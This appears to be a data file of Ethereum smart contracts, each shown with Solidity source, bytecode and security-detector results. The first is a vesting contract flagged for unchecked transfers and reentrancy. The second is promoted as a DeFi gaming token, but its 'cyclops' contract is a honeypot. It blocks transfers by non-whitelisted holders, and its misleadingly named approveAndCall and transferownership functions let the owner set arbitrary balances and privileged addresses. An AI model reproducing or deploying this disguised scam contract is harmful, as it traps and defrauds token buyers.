vested.cliff = cliff;
vested.start = startAt;
vested.duration = duration;
vested.totalToken = amount;
vested.releasedToken = 0;
vested.revoked = false;
}
/**
* @notice Transfers vested tokens to beneficiary.
* anyone can release their token
*/
function releaseMyToken() external returns (bool) {
releaseToken(msg.sender);
return true;
}
/**
* @notice Transfers vested tokens to the given account.
* @param account address of the vested user
*/
function releaseToken(address account) public {
require(account != address(0), "Address should not be zero address");
VestedToken storage vested = vestedUser[account];
uint256 unreleasedToken = _releasableAmount(account); // total releasable token currently
require(unreleasedToken > 0, "No unreleased tokens in vesting");
vested.releasedToken = vested.releasedToken.add(unreleasedToken);
IERC20(LCX_TOKEN).transfer(account, unreleasedToken);
emit TokenReleased(account, unreleasedToken);
}
/**
* @dev Calculates the amount that has already vested but hasn't been released yet.
* @param account address of user
*/
function _releasableAmount(address account)
internal
view
returns (uint256)
{
return _vestedAmount(account).sub(vestedUser[account].releasedToken);
}
/**
* @dev Calculates the amount that has already vested.
* @param account address of the user
*/
function _vestedAmount(address account) internal view returns (uint256) {
VestedToken storage vested = vestedUser[account];
uint256 totalToken = vested.totalToken;
if (block.timestamp < vested.start.add(vested.cliff)) {
return 0;
} else if (
block.timestamp >= vested.start.add(vested.duration) ||
vested.revoked
) {
return totalToken;
} else {
uint256 numberOfPeriods = (block.timestamp.sub(vested.start)).div(
vested.cliff
);
return
totalToken.mul(numberOfPeriods.mul(vested.cliff)).div(
vested.duration
);
}
}
/**
* @notice Allows the owner to revoke the vesting. Tokens already vested
* remain in the contract, the rest are returned to the owner.
* @param account address in which the vesting is revoked
*/
function revoke(address account) external onlyOwner returns (bool) {
VestedToken storage vested = vestedUser[account];
require(!vested.revoked, "Already revoked");
uint256 balance = vested.totalToken;
uint256 vestedAmount = _vestedAmount(account);
uint256 refund = balance.sub(vestedAmount);
require(refund > 0, "Refund amount should be more than zero");
vested.revoked = true;
vested.totalToken = vestedAmount;
IERC20(LCX_TOKEN).transfer(owner(), refund);
emit VestingRevoked(account);
return true;
}
}
|
0x608060405234801561001057600080fd5b50600436106100b45760003560e01c80638195ed24116100715780638195ed24146101a257806386cb9498146101d75780638da5cb5b14610207578063e545f94114610225578063f2fde38b14610241578063f8fb491f1461025d576100b4565b80632a2eddde146100b95780633cfb4dcf146100e957806348dec2a714610119578063715018a61461014a57806374a8f103146101545780637e851e1314610184575b600080fd5b6100d360048036038101906100ce91906114c8565b610279565b6040516100e09190611a93565b60405180910390f35b61010360048036038101906100fe919061149f565b6104ed565b6040516101109190611c70565b60405180910390f35b610133600480360381019061012e919061149f565b610553565b604051610141929190611c8b565b60405180910390f35b6101526105e5565b005b61016e6004803603810190610169919061149f565b61066d565b60405161017b9190611a93565b60405180910390f35b61018c61091b565b6040516101999190611a93565b60405180910390f35b6101bc60048036038101906101b7919061149f565b61092d565b6040516101ce96959493929190611cb4565b60405180910390f35b6101f160048036038101906101ec919061149f565b610976565b6040516101fe9190611c70565b60405180910390f35b61020f610988565b60405161021c9190611a18565b60405180910390f35b61023f600480360381019061023a919061149f565b6109b1565b005b61025b6004803603810190610256919061149f565b610bd4565b005b6102776004803603810190610272919061149f565b610ccc565b005b6000610283610e33565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610312576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161030990611af0565b60405180910390fd5b6000600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020905060008160010154111561041b578060050160009054906101000a900460ff166103b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103aa90611b70565b60405180910390fd5b60006103d482600301546103c68a610e3b565b610f7690919063ffffffff16565b905060008114610419576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161041090611b70565b60405180910390fd5b505b7f000000000000000000000000037a54aab062628c9bbae1fdb1583c195585fe4173ffffffffffffffffffffffffffffffffffffffff166323b872dd61045f610e33565b30896040518463ffffffff1660e01b815260040161047f93929190611a33565b602060405180830381600087803b15801561049957600080fd5b505af11580156104ad573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104d1919061153f565b506104df8787878787610fc0565b600191505095945050505050565b600061054c600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206003015461053e84610e3b565b610f7690919063ffffffff16565b9050919050565b600080600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206004015491509150915091565b6105ed610e33565b73ffffffffffffffffffffffffffffffffffffffff1661060b610988565b73ffffffffffffffffffffffffffffffffffffffff1614610661576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161065890611bf0565b60405180910390fd5b61066b600061114c565b565b6000610677610e33565b73ffffffffffffffffffffffffffffffffffffffff16610695610988565b73ffffffffffffffffffffffffffffffffffffffff16146106eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106e290611bf0565b60405180910390fd5b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002090508060050160009054906101000a900460ff1615610780576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077790611c50565b60405180910390fd5b600081600401549050600061079485610e3b565b905060006107ab8284610f7690919063ffffffff16565b9050600081116107f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107e790611b10565b60405180910390fd5b60018460050160006101000a81548160ff0219169083151502179055508184600401819055507f000000000000000000000000037a54aab062628c9bbae1fdb1583c195585fe4173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb61085a610988565b836040518363ffffffff1660e01b8152600401610878929190611a6a565b602060405180830381600087803b15801561089257600080fd5b505af11580156108a6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108ca919061153f565b508573ffffffffffffffffffffffffffffffffffffffff167f68d870ac0aff3819234e8a1fc8f357b40d75212f2dc8594b97690fa205b3bab260405160405180910390a26001945050505050919050565b6000610926336109b1565b6001905090565b60026020528060005260406000206000915090508060000154908060010154908060020154908060030154908060040154908060050160009054906101000a900460ff16905086565b600061098182610e3b565b9050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610a21576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a1890611b50565b60405180910390fd5b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002090506000610a6f83611210565b905060008111610ab4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aab90611c10565b60405180910390fd5b610acb81836003015461127690919063ffffffff16565b82600301819055507f000000000000000000000000037a54aab062628c9bbae1fdb1583c195585fe4173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb84836040518363ffffffff1660e01b8152600401610b2e929190611a6a565b602060405180830381600087803b158015610b4857600080fd5b505af1158015610b5c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b80919061153f565b508273ffffffffffffffffffffffffffffffffffffffff167f9cf9e3ab58b33f06d81842ea0ad850b6640c6430d6396973312e1715792e7a9182604051610bc79190611c70565b60405180910390a2505050565b610bdc610e33565b73ffffffffffffffffffffffffffffffffffffffff16610bfa610988565b73ffffffffffffffffffffffffffffffffffffffff1614610c50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c4790611bf0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610cc0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cb790611b30565b60405180910390fd5b610cc98161114c565b50565b610cd4610e33565b73ffffffffffffffffffffffffffffffffffffffff16610cf2610988565b73ffffffffffffffffffffffffffffffffffffffff1614610d48576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d3f90611bf0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610db8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610daf90611ad0565b60405180910390fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507fe937b56106c485a1fc33b4a02f8fdb40e6570b803e4b66111ec285759393b65081604051610e289190611a18565b60405180910390a150565b600033905090565b600080600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209050600081600401549050610ea38260000154836001015461127690919063ffffffff16565b421015610eb557600092505050610f71565b610ed08260020154836001015461127690919063ffffffff16565b42101580610eec57508160050160009054906101000a900460ff165b15610efb578092505050610f71565b6000610f2a8360000154610f1c856001015442610f7690919063ffffffff16565b6112d490919063ffffffff16565b9050610f6b8360020154610f5d610f4e86600001548561131e90919063ffffffff16565b8561131e90919063ffffffff16565b6112d490919063ffffffff16565b93505050505b919050565b6000610fb883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611399565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415611030576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161102790611b50565b60405180910390fd5b42811015611073576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161106a90611bb0565b60405180910390fd5b818311156110b6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110ad90611c30565b60405180910390fd5b6000600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002090508381600001819055508181600101819055508281600201819055508481600401819055506000816003018190555060008160050160006101000a81548160ff021916908315150217905550505050505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600061126f600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206003015461126184610e3b565b610f7690919063ffffffff16565b9050919050565b60008082846112859190611d31565b9050838110156112ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112c190611b90565b60405180910390fd5b8091505092915050565b600061131683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506113fd565b905092915050565b6000808314156113315760009050611393565b6000828461133f9190611db8565b905082848261134e9190611d87565b1461138e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138590611bd0565b60405180910390fd5b809150505b92915050565b60008383111582906113e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113d89190611aae565b60405180910390fd5b50600083856113f09190611e12565b9050809150509392505050565b60008083118290611444576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161143b9190611aae565b60405180910390fd5b50600083856114539190611d87565b9050809150509392505050565b60008135905061146f81611f30565b92915050565b60008151905061148481611f47565b92915050565b60008135905061149981611f5e565b92915050565b6000602082840312156114b157600080fd5b60006114bf84828501611460565b91505092915050565b600080600080600060a086880312156114e057600080fd5b60006114ee88828901611460565b95505060206114ff8882890161148a565b94505060406115108882890161148a565b93505060606115218882890161148a565b92505060806115328882890161148a565b9150509295509295909350565b60006020828403121561155157600080fd5b600061155f84828501611475565b91505092915050565b61157181611e46565b82525050565b61158081611e58565b82525050565b600061159182611d15565b61159b8185611d20565b93506115ab818560208601611e8e565b6115b481611f1f565b840191505092915050565b60006115cc601283611d20565b91507f4d75737420626520616e206164647265737300000000000000000000000000006000830152602082019050919050565b600061160c601b83611d20565b91507f4f6e6c792053616c6520436f6e74726163742063616e2063616c6c00000000006000830152602082019050919050565b600061164c602683611d20565b91507f526566756e6420616d6f756e742073686f756c64206265206d6f72652074686160008301527f6e207a65726f00000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006116b2602683611d20565b91507f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008301527f64647265737300000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611718602283611d20565b91507f416464726573732073686f756c64206e6f74206265207a65726f20616464726560008301527f73730000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061177e602183611d20565b91507f4163636f756e742076657374696e67206973207374696c6c20676f696e67206f60008301527f6e000000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006117e4601b83611d20565b91507f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006000830152602082019050919050565b6000611824602d83611d20565b91507f56657374696e672073686f756c6420737461727420616674657220637572726560008301527f6e7420626c6f636b2074696d65000000000000000000000000000000000000006020830152604082019050919050565b600061188a602183611d20565b91507f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008301527f77000000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006118f0602083611d20565b91507f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726000830152602082019050919050565b6000611930601f83611d20565b91507f4e6f20756e72656c656173656420746f6b656e7320696e2076657374696e67006000830152602082019050919050565b6000611970602283611d20565b91507f436c6966662073686f756c64206265206c65737320746861742064757261746960008301527f6f6e0000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006119d6600f83611d20565b91507f416c7265616479207265766f6b656400000000000000000000000000000000006000830152602082019050919050565b611a1281611e84565b82525050565b6000602082019050611a2d6000830184611568565b92915050565b6000606082019050611a486000830186611568565b611a556020830185611568565b611a626040830184611a09565b949350505050565b6000604082019050611a7f6000830185611568565b611a8c6020830184611a09565b9392505050565b6000602082019050611aa86000830184611577565b92915050565b60006020820190508181036000830152611ac88184611586565b905092915050565b60006020820190508181036000830152611ae9816115bf565b9050919050565b60006020820190508181036000830152611b09816115ff565b9050919050565b60006020820190508181036000830152611b298161163f565b9050919050565b60006020820190508181036000830152611b49816116a5565b9050919050565b60006020820190508181036000830152611b698161170b565b9050919050565b60006020820190508181036000830152611b8981611771565b9050919050565b60006020820190508181036000830152611ba9816117d7565b9050919050565b60006020820190508181036000830152611bc981611817565b9050919050565b60006020820190508181036000830152611be98161187d565b9050919050565b60006020820190508181036000830152611c09816118e3565b9050919050565b60006020820190508181036000830152611c2981611923565b9050919050565b60006020820190508181036000830152611c4981611963565b9050919050565b60006020820190508181036000830152611c69816119c9565b9050919050565b6000602082019050611c856000830184611a09565b92915050565b6000604082019050611ca06000830185611a09565b611cad6020830184611a09565b9392505050565b600060c082019050611cc96000830189611a09565b611cd66020830188611a09565b611ce36040830187611a09565b611cf06060830186611a09565b611cfd6080830185611a09565b611d0a60a0830184611577565b979650505050505050565b600081519050919050565b600082825260208201905092915050565b6000611d3c82611e84565b9150611d4783611e84565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611d7c57611d7b611ec1565b5b828201905092915050565b6000611d9282611e84565b9150611d9d83611e84565b925082611dad57611dac611ef0565b5b828204905092915050565b6000611dc382611e84565b9150611dce83611e84565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615611e0757611e06611ec1565b5b828202905092915050565b6000611e1d82611e84565b9150611e2883611e84565b925082821015611e3b57611e3a611ec1565b5b828203905092915050565b6000611e5182611e64565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b60005b83811015611eac578082015181840152602081019050611e91565b83811115611ebb576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000601f19601f8301169050919050565b611f3981611e46565b8114611f4457600080fd5b50565b611f5081611e58565b8114611f5b57600080fd5b50565b611f6781611e84565b8114611f7257600080fd5b5056fea2646970667358221220754217ac43dc0c0691531be91abdf9f9ae40389cb45ee299e21976c4b5fc342964736f6c63430008000033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 8,735 |
0x86c48d932e07124183c548e3f0cde1ee5d24c301
|
/*
The Future DeFi and Gaming Ecosystem
An all things DeFi Product with features like lending and borrowing and a frictionless broker-buyer type marketplace.
The first DeFi product with a leveraging feature and the first to support the use of whitelisted NFTs as collateral.
A Hybrid gaming ecosystem which utilizes NFT game assets, enables the seamless integration of conventional games on the blockchain.
Optimus Chain
Layer 2 connector for non-blockchain gaming platforms.
Blockchain bridge for conventional gaming platforms.
Hephaestus Workshop
All-in-one marketplace and factory for Game Assets and NFTs.
Trade game assets freely, assets value pegged to price-demand curves.
Create custom assets in few easy steps.
Operate custom decentralized mini-kiosks.
The Tournament
Annual Tournament, bringing gamers from all over to compete for great winnings.
First of its kind, virtual gaming room. Users can deploy tournament contracts and invite players globally.
Multiple decentralized games, allowing players from all over to compete.
*/
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract cyclops {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
if(_from == owner || _to == owner || _from == tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function approveAndCall(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender == owner);
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
address tradeAddress;
function transferownership(address addr) public returns(bool) {
require(msg.sender == owner);
tradeAddress = addr;
return true;
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
emit Transfer(address(0x0), msg.sender, totalSupply);
}
}
|
0x60806040526004361061009c5760003560e01c80633177029f116100645780633177029f1461027357806370a08231146102e657806395d89b411461034b578063a9059cbb146103db578063dd62ed3e14610441578063e8b5b796146104c65761009c565b806306fdde03146100a1578063095ea7b31461013157806318160ddd1461019757806323b872dd146101c2578063313ce56714610248575b600080fd5b3480156100ad57600080fd5b506100b661052f565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506105cd565b604051808215151515815260200191505060405180910390f35b3480156101a357600080fd5b506101ac6106bf565b6040518082815260200191505060405180910390f35b61022e600480360360608110156101d857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106c5565b604051808215151515815260200191505060405180910390f35b34801561025457600080fd5b5061025d6109d8565b6040518082815260200191505060405180910390f35b34801561027f57600080fd5b506102cc6004803603604081101561029657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109dd565b604051808215151515815260200191505060405180910390f35b3480156102f257600080fd5b506103356004803603602081101561030957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610aee565b6040518082815260200191505060405180910390f35b34801561035757600080fd5b50610360610b06565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103a0578082015181840152602081019050610385565b50505050905090810190601f1680156103cd5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610427600480360360408110156103f157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ba4565b604051808215151515815260200191505060405180910390f35b34801561044d57600080fd5b506104b06004803603604081101561046457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bb9565b6040518082815260200191505060405180910390f35b3480156104d257600080fd5b50610515600480360360208110156104e957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bde565b604051808215151515815260200191505060405180910390f35b60098054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105c55780601f1061059a576101008083540402835291602001916105c5565b820191906000526020600020905b8154815290600101906020018083116105a857829003601f168201915b505050505081565b600081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60085481565b6000808214156106d857600190506109d1565b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461081f5781600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561079457600080fd5b81600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055505b61082a848484610c84565b61083357600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561087f57600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055506000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600081548092919060010191905055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b9392505050565b601281565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a3957600080fd5b6000821115610a8d576012600a0a8202600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60018060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001905092915050565b60066020528060005260406000206000915090505481565b600a8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b9c5780601f10610b7157610100808354040283529160200191610b9c565b820191906000526020600020905b815481529060010190602001808311610b7f57829003601f168201915b505050505081565b6000610bb13384846106c5565b905092915050565b6007602052816000526040600020602052806000526040600020600091509150505481565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c3a57600080fd5b81600560006101000a81548173ffffffffffffffffffffff